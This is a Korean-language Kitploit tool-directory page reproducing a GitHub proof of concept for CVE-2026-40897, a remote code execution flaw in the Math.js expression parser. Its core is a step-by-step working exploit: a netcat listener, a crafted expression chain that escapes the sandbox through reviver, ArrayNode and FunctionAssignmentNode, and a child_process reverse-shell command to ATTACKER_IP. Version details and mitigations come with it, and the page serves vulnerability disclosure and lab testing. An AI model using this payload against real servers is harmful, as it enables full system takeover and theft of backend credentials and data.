Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40897 — Math.js 표현식 파서 RCE | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-40897
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js 표현식 파서 RCE

저장소 보기
222일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40897 Math.js 표현식 파서 원격 코드 실행

★ CVE-2026-40897 Math.js 원격 코드 실행 PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


개요

CVE-2026-40897은 Math.js 표현식 파서에서 샌드박스 우회로 인한 원격 코드 실행 취약점입니다. isSafeProperty 필터는 사용자 표현식의 속성 접근만 확인하고 내부 코드 경로는 확인하지 않습니다. 공격자는 toJSON()을 통해 ArrayNode의 내부 배열을 유출하고 해당 .map을 덮어써서 내부 코드가 Function.constructor에 접근하도록 강제하여 임의의 JavaScript를 실행할 수 있습니다.


영향을 받는 버전

도구 다운로드
구분버전
취약한 버전Math.js 13.1.1 ≤ 버전 ≤ 15.1.1
패치된 버전15.2.0

영향

  • 임의 JavaScript 코드 실행 (RCE)
  • 호스트 파일 시스템 접근
  • 리버스 셸 연결로 인한 서버 전체 장악
  • 백엔드 자격 증명 및 민감한 데이터 유출

환경 구성

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

취약한 환경을 시작한 후 아래 단계에 따라 공격을 재현합니다.

1단계. 리버스 셸 리스너 시작

root@kitploit:~
nc -lvnp 4444

2단계. 악성 페이로드 제출

다음 표현식을 math.evaluate에 전송합니다 (예: 애플리케이션의 계산 입력을 통해).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

3단계. 공격자 측에서 셸 접근 확인

대상 서버가 공격자의 리스너로 다시 연결되어 대화형 bash 셸을 제공합니다.


완화 조치

  • Math.js를 패치된 버전으로 업그레이드
  • 신뢰할 수 없는 사용자 입력을 math.evaluate()에 직접 전달하지 않기
  • 표현식 파서를 통한 내부 함수/클래스(reviver, FunctionAssignmentNode, ArrayNode) 노출 제한

분석

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst